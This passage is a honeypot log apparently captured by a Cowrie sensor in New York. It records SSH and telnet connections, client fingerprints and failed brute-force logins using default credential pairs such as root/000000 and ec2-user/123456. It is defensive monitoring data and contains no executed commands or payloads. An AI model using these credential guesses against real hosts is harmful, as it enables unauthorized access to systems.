],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.095757Z","src_ip":"45.156.87.204","session":"72c65cabae0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":37260,"dst_ip":"159.203.135.109","dst_port":22,"session":"75b455cb7e45","protocol":"ssh","message":"New connection: 83.111.76.195:37260 (159.203.135.109:22) [session: 75b455cb7e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.172172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.175992Z","src_ip":"83.111.76.195","session":"75b455cb7e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.383290Z","src_ip":"83.111.76.195","session":"75b455cb7e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.12804174423218,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.580621Z","src_ip":"152.42.224.71","session":"92243c02ab69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:08.623514Z","src_ip":"45.156.87.204","session":"72c65cabae0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:09.244223Z","src_ip":"83.111.76.195","session":"75b455cb7e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:09.707997Z","src_ip":"45.156.87.204","session":"72c65cabae0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:10.454170Z","src_ip":"83.111.76.195","session":"75b455cb7e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f6f0b083cf","protocol":"ssh","message":"New connection: 45.156.87.204:60448 (159.203.135.109:22) [session: 54f6f0b083cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:11.745621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:11.752778Z","src_ip":"45.156.87.204","session":"54f6f0b083cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:11.834490Z","src_ip":"45.156.87.204","session":"54f6f0b083cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44850,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd07cbffafb9","protocol":"telnet","message":"New connection: 152.42.224.71:44850 (10.17.0.5:23) [session: bd07cbffafb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:11.886822Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:12.080343Z","src_ip":"45.156.87.204","session":"54f6f0b083cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"70875247afc6","protocol":"telnet","message":"New connection: 152.42.224.71:44842 (10.17.0.5:23) [session: 70875247afc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:12.843810Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:13.163966Z","src_ip":"45.156.87.204","session":"54f6f0b083cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":45672,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4463ca10794","protocol":"ssh","message":"New connection: 42.200.78.78:45672 (159.203.135.109:22) [session: f4463ca10794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.212208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.217415Z","src_ip":"42.200.78.78","session":"f4463ca10794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39320,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ade27ec418a","protocol":"ssh","message":"New connection: 45.156.87.204:39320 (159.203.135.109:22) [session: 7ade27ec418a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.327196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.391783Z","src_ip":"45.156.87.204","session":"7ade27ec418a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.439355Z","src_ip":"42.200.78.78","session":"f4463ca10794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44854,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece06424f403","protocol":"telnet","message":"New connection: 152.42.224.71:44854 (10.17.0.5:23) [session: ece06424f403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.469660Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.475296Z","src_ip":"45.156.87.204","session":"7ade27ec418a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:15.723697Z","src_ip":"45.156.87.204","session":"7ade27ec418a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112247467041,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:16.053632Z","src_ip":"152.42.224.71","session":"1e0a89037bb5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hassan","password":"hassan123","message":"login attempt [hassan/hassan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:16.356361Z","src_ip":"42.200.78.78","session":"f4463ca10794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:16.870392Z","src_ip":"45.156.87.204","session":"7ade27ec418a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.14848613739014,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:17.122089Z","src_ip":"152.42.224.71","session":"baf6dccbe66d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:17.579752Z","src_ip":"42.200.78.78","session":"f4463ca10794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39338,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cc3116a8e42","protocol":"ssh","message":"New connection: 45.156.87.204:39338 (159.203.135.109:22) [session: 0cc3116a8e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:18.750828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:18.755233Z","src_ip":"45.156.87.204","session":"0cc3116a8e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:18.837321Z","src_ip":"45.156.87.204","session":"0cc3116a8e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:19.083255Z","src_ip":"45.156.87.204","session":"0cc3116a8e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f529f54790","protocol":"telnet","message":"New connection: 152.42.224.71:56612 (10.17.0.5:23) [session: a2f529f54790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:19.281847Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:20.166955Z","src_ip":"45.156.87.204","session":"0cc3116a8e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.060853719711304,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:20.838721Z","src_ip":"152.42.224.71","session":"a5f1614ff286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46174,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed0ef1c8c19","protocol":"ssh","message":"New connection: 45.156.87.204:46174 (159.203.135.109:22) [session: 0ed0ef1c8c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:22.496598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:22.509128Z","src_ip":"45.156.87.204","session":"0ed0ef1c8c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:22.579802Z","src_ip":"45.156.87.204","session":"0ed0ef1c8c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:22.897586Z","src_ip":"45.156.87.204","session":"0ed0ef1c8c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:23.984619Z","src_ip":"45.156.87.204","session":"0ed0ef1c8c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"39d771ef3808","protocol":"ssh","message":"New connection: 45.156.87.204:46180 (159.203.135.109:22) [session: 39d771ef3808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:25.969251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:25.974453Z","src_ip":"45.156.87.204","session":"39d771ef3808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:26.056506Z","src_ip":"45.156.87.204","session":"39d771ef3808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:26.303646Z","src_ip":"45.156.87.204","session":"39d771ef3808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":51290,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fc389371f6","protocol":"ssh","message":"New connection: 119.28.114.76:51290 (159.203.135.109:22) [session: 33fc389371f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:27.335970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:27.340360Z","src_ip":"119.28.114.76","session":"33fc389371f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:27.387605Z","src_ip":"45.156.87.204","session":"39d771ef3808","protocol":"ssh"}
